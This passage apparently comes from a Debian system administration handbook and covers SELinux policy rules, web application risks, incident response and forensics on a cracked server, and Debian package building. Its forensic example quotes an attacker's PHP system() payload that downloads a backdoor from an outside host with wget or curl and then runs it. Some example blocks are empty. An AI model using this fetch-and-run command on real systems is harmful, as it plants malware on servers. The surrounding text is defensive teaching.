Now you just have to find the minimal set of rules required to ensure that the target application or service works properly. To achieve this, you should have a good knowledge of how the application works and of what kind of data it manages and/or generates.
However, an empirical approach is possible. Once the relevant objects are correctly labeled, you can use the application in permissive mode: the operations that would be forbidden are logged but still succeed. By analyzing the logs, you can now identify the operations to allow. Here is an example of such a log entry:
To better understand this message, let us study it piece by piece.
Tabel 14.1. Analysis of an SELinux trace
Message | Description |
---|---|
avc: denied | An operation has been denied. |
{ read write } | This operation required the read and write permissions. |
pid=1876 | The process with PID 1876 executed the operation (or tried to execute it). |
comm="syslogd" | The process was an instance of the syslogd program. |
name="xconsole" | The target object was named xconsole . Sometimes you can also have a “path” variable — with the full path — instead. |
dev=tmpfs | The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example: “sda3”). |
ino=5510 | The object is identified by the inode number 5510. |
scontext=system_u:system_r:syslogd_t:s0 | This is the security context of the process who executed the operation. |
tcontext=system_u:object_r:device_t:s0 | This is the security context of the target object. |
tclass=fifo_file | The target object is a FIFO file. |
By observing this log entry, it is possible to build a rule that would allow this operation. For example: allow syslogd_t device_t:fifo_file { read write }
. This process can be automated, and it's exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit
” rule to avoid the log entry despite the effective denial.
COMPLEMENTS No roles in policy rules
It might seem weird that roles do not appear at all when creating new rules. SELinux uses only the domains to find out which operations are allowed. The role intervenes only indirectly by allowing the user to switch to another domain. SELinux is based on a theory known as Type Enforcement and the type is the only element that matters when granting rights.
Once the 3 files (example.if
, example.fc
, and example.te
) match your expectations for the new rules, just run make NAME=devel to generate a module in the example.pp
file (you can immediately load it with semodule -i example.pp). If several modules are defined, make will create all the corresponding .pp
files.
Security is not just a technical problem; more than anything, it is about good practices and understanding the risks. This section reviews some of the more common risks, as well as a few best practices which should, depending on the case, increase security or lessen the impact of a successful attack.
The universal character of web applications led to their proliferation. Several are often run in parallel: a webmail, a wiki, some groupware system, forums, a photo gallery, a blog, and so on. Many of those applications rely on the “LAMP” (Linux, Apache, MySQL, PHP) stack. Unfortunately, many of those applications were also written without much consideration for security problems. Data coming from outside is, too often, used with little or no validation. Providing specially-crafted values can be used to subvert a call to a command so that another one is executed instead. Many of the most obvious problems have been fixed as time has passed, but new security problems pop up regularly.
VOCABULARY SQL injection
When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.
Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a script kiddy) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement.
A vulnerability in a web application is often used as a starting point for cracking attempts. What follows is a short review of possible consequences.
QUICK LOOK Filtering HTTP queries
Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.
Setting up these checks can be a long and cumbersome task, but it can pay off when the web application to be deployed has a dubious track record where security is concerned.
mod-security2 (in the libapache2-mod-security2 package) is the main such module. It even comes with many ready-to-use rules of its own (in the modsecurity-crs package) that you can easily enable.
The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. Script-kiddies only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines.
A more advanced attacker will go beyond that. A disaster scenario could go on in the following fashion: the attacker gains the ability to execute commands as the www-data
user, but executing a command requires many manipulations. To make their life easier, they install other web applications specially designed to remotely execute many kinds of commands, such as browsing the filesystem, examining permissions, uploading or downloading files, executing commands, and even provide a network shell. Often, the vulnerability will allow running a wget command that will download some malware into /tmp/
, then executing it. The malware is often downloaded from a foreign website that was previously compromised, in order to cover tracks and make it harder to find out the actual origin of the attack.
At this point, the attacker has enough freedom of movement that they often install an IRC bot (a robot that connects to an IRC server and can be controlled by this channel). This bot is often used to share illegal files (unauthorized copies of movies or software, and so on). A determined attacker may want to go even further. The www-data
account does not allow full access to the machine, and the attacker will try to obtain administrator privileges. Now, this should not be possible, but if the web application was not up-to-date, chances are that the kernel and other programs are outdated too; this sometimes follows a decision from the administrator who, despite knowing about the vulnerability, neglected to upgrade the system since there are no local users. The attacker can then take advantage of this second vulnerability to get root access.
VOCABULARY Privilege escalation
This term covers anything that can be used to obtain more permissions than a given user should normally have. The sudo program is designed for precisely the purpose of giving administrative rights to some users. But the same term is also used to describe the act of an attacker exploiting a vulnerability to obtain undue rights.
Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time; the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on.
This is a nightmare scenario which can be prevented by several measures. The next few sections describe some of these measures.
Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites, such as SecurityFocus.com
, keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit.
VOCABULARY Security audit
A security audit is the process of thoroughly reading and analyzing the source code of some software, looking for potential security vulnerabilities it could contain. Such audits are usually proactive and they are conducted to ensure a program meets certain security requirements.
In the Free Software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.
VOCABULARY Zero-day exploit
A zero-day exploit attack is hard to prevent; the term covers a vulnerability that is not yet known to the authors of the program.
Most Linux distributions install by default a number of Unix services and many tools. In many cases, these services and tools are not required for the actual purposes for which the administrator set up the machine. As a general guideline in security matters, unneeded software is best uninstalled. Indeed, there is no point in securing an FTP server, if a vulnerability in a different, unused service can be used to get administrator privileges on the whole machine.
By the same reasoning, firewalls will often be configured to only allow access to services that are meant to be publicly accessible.
Current computers are powerful enough to allow hosting several services on the same physical machine. From an economic viewpoint, such a possibility is interesting: only one computer to administrate, lower energy consumption, and so on. From the security point of view, however, such a choice can be a problem. One compromised service can bring access to the whole machine, which in turn compromises the other services hosted on the same computer. This risk can be mitigated by isolating the services. This can be attained either with virtualization (each service being hosted in a dedicated virtual machine or container), or with AppArmor/SELinux (each service daemon having an adequately designed set of permissions).
Discussing security immediately brings to mind protection against attacks by anonymous crackers hiding in the Internet jungle; but an often-forgotten fact is that risks also come from inside: an employee about to leave the company could download sensitive files on the important projects and sell them to competitors, a negligent salesman could leave their desk without locking their session during a meeting with a new prospect, a clumsy user could delete the wrong directory by mistake, and so on.
The response to these risks can involve technical solutions: no more than the required permissions should be granted to users, and regular backups are a must. But in many cases, the appropriate protection is going to involve training users to avoid the risks.
QUICK LOOK autolog
The autolog package provides a program that automatically disconnects inactive users after a configurable delay. It also allows killing user processes that persist after a session ends, thereby preventing users from running daemons.
There is no point in securing the services and networks if the computers themselves are not protected. Important data deserve being stored on hot-swappable hard disks in RAID arrays, because hard disks fail eventually and data availability is a must. But if any pizza delivery boy can enter the building, sneak into the server room and run away with a few selected hard disks, an important part of security is not fulfilled. Who can enter the server room? Is access monitored? These questions deserve consideration (and an answer) when physical security is being evaluated.
Physical security also includes taking into consideration the risks for accidents such as fires. This particular risk is what justifies storing the backup media in a separate building, or at least in a fire-proof strongbox.
An administrator is, more or less implicitly, trusted by their users as well as the users of the network in general. They should therefore avoid any negligence that malevolent people could exploit.
An attacker taking control of your machine then using it as a forward base (known as a “relay system”) from which to perform other nefarious activities could cause legal trouble for you, since the attacked party would initially see the attack coming from your system, and therefore consider you as the attacker (or as an accomplice). In many cases, the attacker will use your server as a relay to send spam, which shouldn't have much impact (except potentially registration on black lists that could restrict your ability to send legitimate emails), but won't be pleasant nevertheless. In other cases, more important trouble can be caused from your machine, for instance denial of service attacks. This will sometimes induce loss of revenue, since the legitimate services will be unavailable and data can be destroyed; sometimes this will also imply a real cost, because the attacked party can start legal proceedings against you. Rights-holders can sue you if an unauthorized copy of a work protected by copyright law is shared from your server, as well as other companies compelled by service level agreements if they are bound to pay penalties following the attack from your machine.
When these situations occur, claiming innocence is not usually enough; at the very least, you will need convincing evidence showing suspect activity on your system coming from a given IP address. This won't be possible if you neglect the recommendations of this chapter and let the attacker obtain access to a privileged account (root, in particular) and use it to cover their tracks.
Despite the best intentions and however carefully designed the security policy, an administrator eventually faces an act of hijacking. This section provides a few guidelines on how to react when confronted with these unfortunate circumstances.
The first step of reacting to cracking is to be aware of such an act. This is not self-evident, especially without an adequate monitoring infrastructure.
Cracking acts are often not detected until they have direct consequences on the legitimate services hosted on the machine, such as connections slowing down, some users being unable to connect, or any other kind of malfunction. Faced with these problems, the administrator needs to have a good look at the machine and carefully scrutinize what misbehaves. This is usually the time when they discover an unusual process, for instance one named apache
instead of the standard /usr/sbin/apache2
. If we follow that example, the thing to do is to note its process identifier, and check /proc/
to see what program this process is currently running: pid
/exe
#
ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
A program installed under /var/tmp/
and running as the web server? No doubt left, the machine is compromised.
This is only one example, but many other hints can ring the administrator's bell:
/tmp/
partition being full, which turned out to be full of illegal copies of movies; In any but the most exotic cases, the cracking comes from the network, and the attacker needs a working network to reach their targets (access confidential data, share illegal files, hide their identity by using the machine as a relay, and so on). Unplugging the computer from the network will prevent the attacker from reaching these targets, if they haven't managed to do so yet.
This may only be possible if the server is physically accessible. When the server is hosted in a hosting provider's data center halfway across the country, or if the server is not accessible for any other reason, it's usually a good idea to start by gathering some important information (see Secțiune 14.7.3, „Keeping Everything that Could Be Used as Evidence”, Secțiune 14.7.5, „Forensic Analysis” and Secțiune 14.7.6, „Reconstituting the Attack Scenario”), then isolating that server as much as possible by shutting down as many services as possible (usually, everything but sshd). This case is still awkward, since one can't rule out the possibility of the attacker having SSH access like the administrator has; this makes it harder to “clean” the machines.
Understanding the attack and/or engaging legal action against the attackers requires taking copies of all the important elements; this includes the contents of the hard disk, a list of all running processes, and a list of all open connections. The contents of the RAM could also be used, but it is rarely used in practice.
In the heat of action, administrators are often tempted to perform many checks on the compromised machine; this is usually not a good idea. Every command is potentially subverted and can erase pieces of evidence. The checks should be restricted to the minimal set (netstat -tupan for network connections, ps auxf for a list of processes, ls -alR /proc/[0-9]* for a little more information on running programs), and every performed check should carefully be written down.
CAUTION Hot analysis
While it may seem tempting to analyze the system as it runs, especially when the server is not physically reachable, this is best avoided: quite simply you can't trust the programs currently installed on the compromised system. It's quite possible for a subverted ps command to hide some processes, or for a subverted ls to hide files; sometimes even the kernel is compromised!
If such a hot analysis is still required, care should be taken to only use known-good programs. A good way to do that would be to have a rescue CD with pristine programs, or a read-only network share. However, even those countermeasures may not be enough if the kernel itself is compromised.
Once the “dynamic” elements have been saved, the next step is to store a complete image of the hard-disk. Making such an image is impossible if the filesystem is still evolving, which is why it must be remounted read-only. The simplest solution is often to halt the server brutally (after running sync) and reboot it on a rescue CD. Each partition should be copied with a tool such as dd; these images can be sent to another server (possibly with the very convenient nc tool). Another possibility may be even simpler: just get the disk out of the machine and replace it with a new one that can be reformatted and reinstalled.
The server should not be brought back on line without a complete reinstallation. If the compromise was severe (if administrative privileges were obtained), there is almost no other way to be sure that we get rid of everything the attacker may have left behind (particularly backdoors). Of course, all the latest security updates must also be applied so as to plug the vulnerability used by the attacker. Ideally, analyzing the attack should point at this attack vector, so one can be sure of actually fixing it; otherwise, one can only hope that the vulnerability was one of those fixed by the updates.
Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems. Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.
Now that the service has been restored, it is time to have a closer look at the disk images of the compromised system in order to understand the attack vector. When mounting these images, care should be taken to use the ro,nodev,noexec,noatime
options so as to avoid changing the contents (including timestamps of access to files) or running compromised programs by mistake.
Retracing an attack scenario usually involves looking for everything that was modified and executed:
.bash_history
files often provide for a very interesting read; /var/log/
often allow reconstructing a chronology of events; Some of these operations can be made easier with specialized software. In particular, the sleuthkit package provides many tools to analyze a filesystem. Their use is made easier by the Autopsy Forensic Browser graphical interface (in the autopsy package).
All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
The following log is an extract from an Apache access.log
:
This example matches exploitation of an old security vulnerability in phpBB.
Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Indeed, a bd
file was found in /tmp/
. Running strings /mnt/tmp/bd returns, among other strings, PsychoPhobia Backdoor is starting...
. This really looks like a backdoor.
Some time later, this access was used to download, install and run an IRC bot that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
In parallel, the attacker also downloaded a pair of extra files, /tmp/pt
and /tmp/loginx
. Running these files through strings leads to strings such as Shellcode placed at 0x%08lx and Now wait for suid shell.... These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
It is quite common, for an administrator who has been handling Debian packages in a regular fashion, to eventually feel the need to create their own packages, or to modify an existing package. This chapter aims to answer the most common questions in this field, and provide the required elements to take advantage of the Debian infrastructure in the best way. With any luck, after trying your hand for local packages, you may even feel the need to go further than that and join the Debian project itself!
Rebuilding a binary package is required under several sets of circumstances. In some cases, the administrator needs a software feature that requires the software to be compiled from sources, with a particular compilation option; in others, the software as packaged in the installed version of Debian is not recent enough. In the latter case, the administrator will usually build a more recent package taken from a newer version of Debian — such as Testing or even Unstable — so that this new package works in their Stable distribution; this operation is called “backporting”. As usual, care should be taken, before undertaking such a task, to check whether it has been done already — a quick look on the Debian Package Tracker for that package will reveal that information.
Rebuilding a Debian package starts with getting its source code. The easiest way is to use the apt-get source source-package-name
command. This command requires a deb-src
line in the /etc/apt/sources.list
file, and up-to-date index files (i.e. apt-get update). These conditions should already be met if you followed the instructions from the chapter dealing with APT configuration (see Secțiune 6.1, „Filling in the sources.list
File”). Note however, that you will be downloading the source packages from the Debian version mentioned in the deb-src
line. If you need another version, you may need to download it manually from a Debian mirror or from the web site. This involves fetching two or three files (with extensions *.dsc
— for Debian Source Control — *.tar.
, and sometimes comp
*.diff.gz
or *.debian.tar.
— comp
comp
taking one value among gz
, bz2
or xz
depending on the compression tool in use), then run the dpkg-source -x file.dsc
command. If the *.dsc
file is directly accessible at a given URL, there is an even simpler way to fetch it all, with the dget URL
command. This command (which can be found in the devscripts package) fetches the *.dsc
file at the given address, then analyzes its contents, and automatically fetches the file or files referenced within. Once everything has been downloaded, it extracts the source package (unless the -d
or --download-only
option is used).
The source of the package is now available in a directory named after the source package and its version (for instance, samba-4.1.17+dfsg); this is where we'll work on our local changes.
The first thing to do is to change the package version number, so that the rebuilt packages can be distinguished from the original packages provided by Debian. Assuming the current version is 2:4.1.17+dfsg-2
, we can create version 2:4.1.17+dfsg-2falcot1
, which clearly indicates the origin of the package. This makes the package version number higher than the one provided by Debian, so that the package will easily install as an update to the original package. Such a change is best effected with the dch command (Debian CHangelog) from the devscripts package, with an command such as dch --local falcot. This invokes a text editor (sensible-editor — this should be your favorite editor if it is mentioned in the VISUAL
or EDITOR
environment variables, and the default editor otherwise) to allow documenting the differences brought by this rebuild. This editor shows us that dch really did change the debian/changelog
file.
When a change in build options is required, the changes need to be made in debian/rules
, which drives the steps in the package build process. In the simplest cases, the lines concerning the initial configuration (./configure …
) or the actual build ($(MAKE) …
or make …
) are easy to spot. If these commands are not explicitly called, they are probably a side effect of another explicit command, in which case please refer to their documentation to learn more about how to change the default behavior. With packages using dh, you might need to add an override for the dh_auto_configure or dh_auto_build commands (see their respective manual pages for explanations on how to achieve this).
Depending on the local changes to the packages, an update may also be required in the debian/control
file, which contains a description of the generated packages. In particular, this file contains Build-Depends
lines controlling the list of dependencies that must be fulfilled at package build time. These often refer to versions of packages contained in the distribution the source package comes from, but which may not be available in the distribution used for the rebuild. There is no automated way to determine if a dependency is real or only specified to guarantee that the build should only be attempted with the latest version of a library — this is the only available way to force an autobuilder to use a given package version during build, which is why Debian maintainers frequently use strictly versioned build-dependencies.
If you know for sure that these build-dependencies are too strict, you should feel free to relax them locally. Reading the files which document the standard way of building the software — these files are often called INSTALL
— will help you figure out the appropriate dependencies. Ideally, all dependencies should be satisfiable from the distribution used for the rebuild; if they are not, a recursive process starts, whereby the packages mentioned in the Build-Depends
field must be backported before the target package can be. Some packages may not need backporting, and can be installed as-is during the build process (a notable example is debhelper). Note that the backporting process can quickly become complex if you are not careful. Therefore, backports should be kept to a strict minimum when possible.
TIP Installing
Build-Depends
apt-get allows installing all packages mentioned in the
Build-Depends
fields of a source package available in a distribution mentioned in adeb-src
line of the/etc/apt/sources.list
file. This is a simple matter of running the apt-get build-depsource-package
command.
When all the needed changes have been applied to the sources, we can start generating the actual binary package (.deb
file). The whole process is managed by the dpkg-buildpackage command.
Exemplu 15.1. Rebuilding a package
$
dpkg-buildpackage -us -uc
[...]
TOOL fakeroot
In essence, the package creation process is a simple matter of gathering in an archive a set of existing (or built) files; most of the files will end up being owned by root in the archive. However, building the whole package under this user would imply increased risks; fortunately, this can be avoided with the fakeroot command. This tool can be used to run a program and give it the impression that it runs as root and creates files with arbitrary ownership and permissions. When the program creates the archive that will become the Debian package, it is tricked into creating an archive containing files marked as belonging to arbitrary owners, including root. This setup is so convenient that dpkg-buildpackage uses fakeroot by default when building packages.
Note that the program is only tricked into “believing” that it operates as a privileged account, and the process actually runs as the user running fakeroot
program
(and the files are actually created with that user's permissions). At no time does it actually get root privileges that it could abuse.
The previous command can fail if the Build-Depends
fields have not been updated, or if the related packages are not installed. In such a case, it is possible to overrule this check by passing the -d
option to dpkg-buildpackage. However, explicitly ignoring these dependencies runs the risk of the build process failing at a later stage. Worse, the package may seem to build correctly but fail to run properly: some programs automatically disable some of their features when a required library is not available at build time.
More often than not, Debian developers use a higher-level program such as debuild; this runs dpkg-buildpackage as usual, but it also adds an invocation of a program that runs many checks to validate the generated package against the Debian policy. This script also cleans up the environment so that local environment variables do not “pollute” the package build. The debuild command is one of the tools in the devscripts suite, which share some consistency and configuration to make the maintainers' task easier.
QUICK LOOK pbuilder
The pbuilder program (in the similarly named package) allows building a Debian package in a chrooted environment. It first creates a temporary directory containing the minimal system required for building the package (including the packages mentioned in the Build-Depends field). This directory is then used as the root directory (
/
), using the chroot command, during the build process.This tool allows the build process to happen in an environment that is not altered by users' manipulations. This also allows for quick detection of the missing build-dependencies (since the build will fail unless the appropriate dependencies are documented). Finally, it allows building a package for a Debian version that is not the one used by the system as a whole: the machine can be using Stable for its normal workload, and a pbuilder running on the same machine can be using Unstable for package builds.
Fake packages and meta-packages are similar, in that they are empty shells that only exist for the effects their meta-data have on the package handling stack.
The purpose of a fake package is to trick dpkg and apt into believing that some package is installed even though it's only an empty shell. This allows satisfying dependencies on a package when the corresponding software was installed outside the scope of the packaging system. Such a method works, but it should still be avoided whenever possible, since there is no guarantee that the manually installed software behaves exactly like the corresponding package would and other packages depending on it would not work properly.
On the other hand, a meta-package exists mostly as a collection of dependencies, so that installing the meta-package will actually bring in a set of other packages in a single step.
Both these kinds of packages can be created by the equivs-control and equivs-build commands (in the equivs package). The equivs-control file
command creates a Debian package header file that should be edited to contain the name of the expected package, its version number, the name of the maintainer, its dependencies, and its description. Other fields without a default value are optional and can be deleted. The Copyright
, Changelog
, Readme
and Extra-Files
fields are not standard fields in Debian packages; they only make sense within the scope of equivs-build, and they will not be kept in the headers of the generated package.
Exemplu 15.2. Header file of the libxml-libxml-perl fake package
The next step is to generate the Debian package with the equivs-build file
command. Voilà: the package is created in the current directory and it can be handled like any other Debian package would.
The Falcot Corp administrators need to create a Debian package in order to ease deployment of a set of documents on a large number of machines. The administrator in charge of this task first reads the “New Maintainer's Guide”, then starts working on their first package.
The first step is creating a falcot-data-1.0
directory to contain the target source package. The package will logically, be named falcot-data
and bear the 1.0
version number. The administrator then places the document files in a data
subdirectory. Then they invoke the dh_make command (from the dh-make package) to add files required by the package generation process, which will all be stored in a debian
subdirectory:
$
cd falcot-data-1.0
$
dh_make --native
Type of package: single binary, indep binary, multiple binary, library, kernel module, kernel patch?
[s/i/m/l/k/n]
i
Maintainer name : Raphael Hertzog
Email-Address : hertzog@debian.org
Date : Fri, 04 Sep 2015 12:09:39 -0400
Package Name : falcot-data
Version : 1.0
License : gpl3
Type of Package : Independent
Hit <enter> to confirm:
Currently there is no top level Makefile. This may require additional tuning.
Done. Please edit the files in the debian/ subdirectory now. You should also
check that the falcot-data Makefiles install into $DESTDIR and not in / .
$
The selected type of package (indep binary) indicates that this source package will generate a single binary package that can be shared across all architectures (Architecture: all
). single binary acts as a counterpart, and leads to a single binary package that is dependent on the target architecture (Architecture: any
). In this case, the former choice is more relevant since the package only contains documents and no binary programs, so it can be used similarly on computers of all architectures.
The multiple binary type corresponds to a source package leading to several binary packages. A particular case, library, is useful for shared libraries, since they need to follow strict packaging rules. In a similar fashion, kernel module or kernel patch should be restricted to packages containing kernel modules.
TIP Maintainer's name and email address
Most of the programs involved in package maintenance will look for your name and email address in the
DEBFULLNAME
andDEBEMAIL
or~/.bashrc
file (you will obviously replace the values with more relevant ones!):
export EMAIL="hertzog@debian.org"
export DEBFULLNAME="Raphael Hertzog"
The dh_make command created a debian
subdirectory with many files. Some are required, in particular rules
, control
, changelog
and copyright
. Files with the .ex
extension are example files that can be used by modifying them (and removing the extension) when appropriate. When they are not needed, removing them is recommended. The compat
file should be kept, since it is required for the correct functioning of the debhelper suite of programs (all beginning with the dh_ prefix) used at various stages of the package build process.
The copyright
file must contain information about the authors of the documents included in the package, and the related license. In our case, these are internal documents and their use is restricted to within the Falcot Corp company. The default changelog
file is generally appropriate; replacing the “Initial release” with a more verbose explanation and changing the distribution from unstable
to internal
is enough. The control
file was also updated: the Section
field has been changed to misc and the Homepage
, Vcs-Git
and Vcs-Browser
fields were removed. The Depends
fields was completed with iceweasel | www-browser
so as to ensure the availability of a web browser able to display the documents in the package.
Exemplu 15.3. The control
file
Exemplu 15.4. The changelog
file
Exemplu 15.5. The copyright
file
BACK TO BASICS
Makefile
fileA
Makefile
file is a script used by the make program; it describes rules for how to build a set of files from each other in a tree of dependencies (for instance, a program can be built from a set of source files). TheMakefile
file describes these rules in the following format:
target: source1 source2 ...
command1
command2The interpretation of such a rule is as follows: if one of the
source*
files is more recent than thetarget
file, then the target needs to be generated, using command1 and command2.Note that the command lines must start with a tab character; also note that when a command line starts with a dash character (
-
), failure of the command does not interrupt the whole process.
The rules
file usually contains a set of rules used to configure, build and install the software in a dedicated subdirectory (named after the generated binary package). The contents of this subdirectory is then archived within the Debian package as if it were the root of the filesystem. In our case, files will be installed in the debian/falcot-data/usr/share/falcot-data/
subdirectory, so that installing the generated package will deploy the files under /usr/share/falcot-data/
. The rules
file is used as a Makefile
, with a few standard targets (including clean
and binary
, used respectively to clean the source directory and generate the binary package).
Although this file is the heart of the process, it increasingly contains only the bare minimum for running a standard set of commands provided by the debhelper tool. Such is the case for files generated by dh_make. To install our files, we simply configure the behavior of the dh_install command by creating the following debian/falcot-data.install
file:
At this point, the package can be created. We will however add a lick of paint. Since the administrators want the documents to be easily accessed from the menus of graphical desktop environments, we add a falcot-data.desktop
file and get it installed in /usr/share/applications
by adding a second line to debian/falcot-data.install
.
Exemplu 15.6. The falcot-data.desktop
file
The updated debian/falcot-data.install
looks like this:
Our source package is now ready. All that's left to do is to generate the binary package, with the same method we used previously for rebuilding packages: we run the dpkg-buildpackage -us -uc command from within the falcot-data-1.0
directory.
Falcot Corp gradually started maintaining a number of Debian packages either locally modified from existing packages or created from scratch to distribute internal data and programs.
To make deployment easier, they want to integrate these packages in a package archive that can be directly used by APT. For obvious maintenance reasons, they wish to separate internal packages from locally-rebuilt packages. The goal is for the matching entries in a /etc/apt/sources.list.d/falcot.list
file to be as follows:
The administrators therefore configure a virtual host on their internal HTTP server, with /srv/vhosts/packages/
as the root of the associated web space. The management of the archive itself is delegated to the mini-dinstall command (in the similarly-named package). This tool keeps an eye on an incoming/
directory (in our case, /srv/vhosts/packages/mini-dinstall/incoming/
) and waits for new packages there; when a package is uploaded, it is installed into a Debian archive at /srv/vhosts/packages/
. The mini-dinstall command reads the *.changes
file created when the Debian package is generated. These files contain a list of all other files associated with the version of the package (*.deb
, *.dsc
, *.diff.gz
/*.debian.tar.gz
, *.orig.tar.gz
, or their equivalents with other compression tools), and these allow mini-dinstall to know which files to install. *.changes
files also contain the name of the target distribution (often unstable
) mentioned in the latest debian/changelog
entry, and mini-dinstall uses this information to decide where the package should be installed. This is why administrators must always change this field before building a package, and set it to internal
or updates
, depending on the target location. mini-dinstall then generates the files required by APT, such as Packages.gz
.
ALTERNATIVE apt-ftparchive
If mini-dinstall seems too complex for your Debian archive needs, you can also use the apt-ftparchive command. This tool scans the contents of a directory and displays (on its standard output) a matching
Packages
file. In the Falcot Corp case, administrators could upload the packages directly into/srv/vhosts/packages/updates/
or/srv/vhosts/packages/internal/
, then run the following commands to create thePackages.gz
files:$
cd /srv/vhosts/packages
$
apt-ftparchive packages updates >updates/Packages
$
gzip updates/Packages
$
apt-ftparchive packages internal >internal/Packages
$
gzip internal/Packages
The apt-ftparchive sources command allows creating
Sources.gz
files in a similar fashion.
Configuring mini-dinstall requires setting up a ~/.mini-dinstall.conf
file; in the Falcot Corp case, the contents are as follows:
One decision worth noting is the generation of Release
files for each archive. This can help manage package installation priorities using the /etc/apt/preferences
configuration file (see Secțiune 6.2.5, „Managing Package Priorities” for details).
SECURITY mini-dinstall and permissions
Since mini-dinstall has been designed to run as a regular user, there's no need to run it as root. The easiest way is to configure everything within the user account belonging to the administrator in charge of creating the Debian packages. Since only this administrator has the required permissions to put files in the
incoming/
directory, we can deduce that the administrator authenticated the origin of each package prior to deployment and mini-dinstall does not need to do it again. This explains theverify_sigs = 0
parameter (which means that signatures need not be verified). However, if the contents of packages are sensitive, we can reverse the setting and elect to authenticate with a keyring containing the public keys of persons allowed to create packages (configured with theextra_keyrings
parameter); mini-dinstall will then check the origin of each incoming package by analyzing the signature integrated to the*.changes
file.
Invoking mini-dinstall actually starts a daemon in the background. As long as this daemon runs, it will check for new packages in the incoming/
directory every half-hour; when a new package arrives, it will be moved to the archive and the appropriate Packages.gz
and Sources.gz
files will be regenerated. If running a daemon is a problem, mini-dinstall can also be manually invoked in batch mode (with the -b
option) every time a package is uploaded into the incoming/
directory. Other possibilities provided by mini-dinstall are documented in its mini-dinstall(1) manual page.
EXTRA Generating a signed archive
The APT suite checks a chain of cryptographic signatures on the packages it handles before installing them, in order to ensure their authenticity (see Secțiune 6.5, „Checking Package Authenticity”). Private APT archives can then be a problem, since the machines using them will keep displaying warnings about unsigned packages. A diligent administrator will therefore integrate private archives with the secure APT mechanism.
To help with this process, mini-dinstall includes a
release_signscript
configuration option that allows specifying a script to use for generating the signature. A good starting point is thesign-release.sh
script provided by the mini-dinstall package in/usr/share/doc/mini-dinstall/examples/
; local changes may be relevant.
Creating a quality Debian package is not always a simple task, and becoming a package maintainer takes some learning, both with theory and practice. It's not a simple matter of building and installing software; rather, the bulk of the complexity comes from understanding the problems and conflicts, and more generally the interactions, with the myriad of other packages available.
A Debian package must comply with the precise rules compiled in the Debian policy, and each package maintainer must know them. There is no requirement to know them by heart, but rather to know they exist and to refer to them whenever a choice presents a non-trivial alternative. Every Debian maintainer has made mistakes by not knowing about a rule, but this is not a huge problem as long as the error gets fixed when a user reports it as a bug report (which tends to happen fairly soon thanks to advanced users).
Debian is not a simple collection of individual packages. Everyone's packaging work is part of a collective project; being a Debian developer involves knowing how the Debian project operates as a whole. Every developer will, sooner or later, interact with others. The Debian Developer's Reference (in the developers-reference package) summarizes what every developer must know in order to interact as smoothly as possible with the various teams within the project, and to take the best possible advantages of the available resources. This document also enumerates a number of duties a developer is expected to fulfill.
Many tools help package maintainers in their work. This section describes them quickly, but does not give the full details, since they all have comprehensive documentation of their own.
This tool is one of the most important: it's the Debian package checker. It is based on a large array of tests created from the Debian policy, and detects quickly and automatically many errors that can then be fixed before packages are released.
This tool is only a helper, and it sometimes gets it wrong (for instance, since the Debian policy changes over time, lintian is sometimes outdated). It is also not exhaustive: not getting any Lintian error should not be interpreted as a proof that the package is perfect; at most, it avoids the most common errors.
